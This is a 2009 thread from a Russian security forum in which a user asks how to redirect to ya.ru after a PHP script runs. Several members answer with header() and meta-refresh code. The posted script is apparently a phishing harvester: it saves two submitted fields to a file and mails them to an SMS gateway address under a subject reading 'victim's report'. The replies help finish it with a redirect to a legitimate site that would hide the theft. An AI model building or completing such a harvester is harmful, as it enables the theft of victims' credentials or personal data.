ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

[php] переход на страницу:)
  #1  
Старый 15.06.2009, 13:17
AdR3naL1ne
Новичок
Регистрация: 05.05.2009
Сообщений: 14
Провел на форуме:
28420

Репутация: 1
По умолчанию [php] переход на страницу:)

скажите пожалуйста как сделать так чтоб после завершения выполнения php кода перебрасывало на другую страницу к примеру на http://ya.ru
вот мой код:
PHP код:
<form action="" method="post">
<p><img src="1.jpg" " width="982" height="222" /></p>
  <p><img src="../01.jpg" width="232" height="35" />
    <textarea name="field1"></textarea>
  </p>
  <p>
  <span class="стиль5"><img src="../02.jpg" width="234" height="37" /></span>
  <textarea name="field2"></textarea>
  </p>
  <p>Всё ввели?  тогда жмите на кнопку ==&gt;
    <input type="submit" class="стиль5" value="OK">
<p>&nbsp;</p>
</form
><?
if(!empty($_POST)) {
$msg $_POST['field1'].' '.$_POST['field2']."\r\n";
$fp fopen('mojo.txt','a');
fwrite($fp$msg);
fclose($fp);
mail('XXXXXXXXXXX@sms.megafoncenter.ru''Ot4et }I{ePTBa'$msg);
}
?>

Последний раз редактировалось Sharky; 15.06.2009 в 18:07.. Причина: учимся оформлять код
 
Ответить с цитированием

  #2  
Старый 15.06.2009, 13:24
Sn@k3
Познавший АНТИЧАТ
Регистрация: 13.04.2006
Сообщений: 1,738
Провел на форуме:
5151669

Репутация: 1198


Отправить сообщение для Sn@k3 с помощью ICQ
По умолчанию

PHP код:
echo'<META HTTP-EQUIV=Refresh Content="11;URL=http://ya.ru">'
указываешь кол-во секунд и он перенаправляет на ya.ru =)
 
Ответить с цитированием

  #3  
Старый 15.06.2009, 13:26
krypt3r
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме:
3660186

Репутация: 905


По умолчанию

PHP код:
header ('Location: http://ya.ru'); 
 
Ответить с цитированием

  #4  
Старый 15.06.2009, 13:27
wildshaman
Постоянный
Регистрация: 16.04.2008
Сообщений: 889
Провел на форуме:
12942062

Репутация: 1550


Отправить сообщение для wildshaman с помощью ICQ
По умолчанию

Или же
PHP код:
header('Location: http://ya.ru'); 
Но сессию нчать, чтобы проблемы с хедерами не было.
 
Ответить с цитированием

  #5  
Старый 15.06.2009, 13:29
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

1. header .... or die
2. echo'<META HTTP-EQUIV=Refresh Content="11;URL=http://ya.ru">'; - можно нажать кнопочку "Назад"
 
Ответить с цитированием

  #6  
Старый 15.06.2009, 14:19
AdR3naL1ne
Новичок
Регистрация: 05.05.2009
Сообщений: 14
Провел на форуме:
28420

Репутация: 1
По умолчанию

спасибо всем
 
Ответить с цитированием

  #7  
Старый 15.06.2009, 14:50
Sn@k3
Познавший АНТИЧАТ
Регистрация: 13.04.2006
Сообщений: 1,738
Провел на форуме:
5151669

Репутация: 1198


Отправить сообщение для Sn@k3 с помощью ICQ
По умолчанию

2. echo'<META HTTP-EQUIV=Refresh Content="11;URL=http://ya.ru">'; - можно нажать кнопочку "Назад"[/QUOTE]


о чем ты, какая ещё кнопка назад)))
если ты про то что долго?) то там есть две циферки) их регулировать можно) т.е. вывести как ...ent="0;URL=h........ и она сразу перенаправит)

Последний раз редактировалось Sn@k3; 15.06.2009 в 14:57..
 
Ответить с цитированием

  #8  
Старый 15.06.2009, 15:13
f1rebl00d
Познающий
Регистрация: 27.12.2006
Сообщений: 37
Провел на форуме:
1253202

Репутация: 133
По умолчанию

"Вперед" "Назад" кнопочки браузера перехода по истории страниц.

Метод "Refresh" перенаправляет пользователя в текущей вкладке на URL, при этом можно вернутся на страницу которая перенаправила.

А header посылает заголовок с параметром location=URL, что не дает возможности перейти обратно на скрипт, который тя перенаправил
 
Ответить с цитированием

  #9  
Старый 15.06.2009, 15:18
.::BARS::.
Постоянный
Регистрация: 13.10.2007
Сообщений: 347
Провел на форуме:
1345617

Репутация: 115
По умолчанию

Цитата:
Сообщение от Sn@k3  
2. echo'<META HTTP-EQUIV=Refresh Content="11;URL=http://ya.ru">'; - можно нажать кнопочку "Назад"

о чем ты, какая ещё кнопка назад)))
если ты про то что долго?) то там есть две циферки) их регулировать можно) т.е. вывести как ...ent="0;URL=h........ и она сразу перенаправит)[/QUOTE]

про то что можно потом обратно вернуться... а при header нельзя
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Помогите как востановить страницу?: _Spamer_ Болталка 4 08.06.2009 15:27
Как сделать переход на страницу и открытие в новом окне сайта.. Darkweider PHP, PERL, MySQL, JavaScript 6 05.01.2009 19:14
Proxy FAQ foreva Чужие Статьи 12 04.01.2008 12:15



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ